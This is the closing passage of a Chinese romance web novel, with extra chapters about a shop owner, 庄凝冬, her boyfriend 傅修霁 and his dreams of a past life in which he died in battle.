有些觉得过意不去的街坊，还亲自带来了礼物上门道歉，说之前不清楚事情的原委，不是故意嫌弃他的。 现在这条街上，一提起庄记老板和她那个男朋友，全是夸赞般配的祝福语，傅修霁听着，心里爽翻天了，自然也就不计较了。 万宁市分店开张那天，江老爷子和傅老爷子送了一堆东西过来，多数是玉石瓷器，就摆在收银台后面那个展柜上，金玉满堂，金钱气息很重。 陆向安看见后，心痒痒难耐死了，说自己要留在万宁分店，甚至还想当起收银员。 因为只有当收银员，才能一回头就看见璀璨的珠宝玉石，财气满满。 在这一天，庄凝冬也见到了傅修霁的母亲，在她身上，庄凝冬似乎看到了“岁月从不败美人”这一句话。 容貌娇好，气质温婉。 旁边的傅修霁喊了一声“妈”，庄凝冬正要开口喊伯母，却听见傅母朝傅修霁轻轻一笑：“谁是你妈？” 然后，她拉过庄凝冬的手，笑着道：“你就是庄凝冬？看着真讨人喜欢，不知道你愿不愿意当我女儿？” 傅修霁：“？” 庄凝冬：“……” * 番外2 万宁的分店开起来以后，逐渐步入正轨，庄凝冬有意将工作重心转移到万宁店的发展上，便把奶奶接到了万宁住。 所住的房子是傅修霁名下的众多房产中的一个。 傅修霁偶尔也会留下来过夜。 这天晚上，傅修霁就过来吃了晚饭。 饭后歇息的时间，庄凝冬看完今天店里的收支，合上电脑，拿出手机看了眼娱乐新闻。 看到一则有关梦境研究的。 庄凝冬看得津津有味，她忽然想起傅修霁之前说的梦境。 还是觉得好神奇。 他不是穿越来的，却能拥有以前的记忆，或许这就是前世今生的羁绊？ 庄凝冬一直很好奇，在大燕朝的时候，她不在以后，傅修霁又过着什么样的生活？ 那年是大燕朝建国25年，可惜她还没来得及看见什么盛况，人就来到了这个世界。 庄凝冬想了想，问傅修霁：“你的梦境完整吗？” “什么？”傅修霁没反应过来。 “就是关于大燕朝的那些梦。除了跟我有关的那些，还有没有关于你自己的？” “想问什么？” “大燕朝25周年那天是不是很热闹？” 傅修霁沉思了一会儿，道：“梦境不零零碎碎的，不太完整，我也没有关于这部分的记忆。” “啊，这样啊，那好吧……”庄凝冬想到自己之前在网上搜了搜，历史上也没有关于大燕朝的记载。 不过她也没多想，重新看娱乐新闻去了。 傅修霁玩着她的头发，思绪飘远。 其实他梦到了那一年。 临近举国同庆的日子，边境来信，有外敌入侵，以免此消息引起百姓恐慌，皇帝勒令封锁，只派了大军前去支援，国内依旧欢声笑语。 傅修霁记得，梦境里，他作为统帅领旨带兵出征，临行前跟庄凝冬告了别。 军事秘密不可透露，也不想他担心，所以他并未透露什么，只当日常相处那般待了半天。 也是在那半天里，傅修霁见到了初版“燕归巢”。 那会儿庄凝冬做得还不是特别好，燕子的形状没定好，歪歪扭扭的。 但有种另类的可爱。 当时的傅修霁在想，燕归巢，还真是一个好名字。 但愿他也能如这名字一般，有归来的那一天。 可惜未能如愿。 梦里马蹄哒哒，尘土飞扬，耳边全是刀刃相碰的刺耳声。 那一年，他死在了沙场。 不过她不必知道。 （全文完）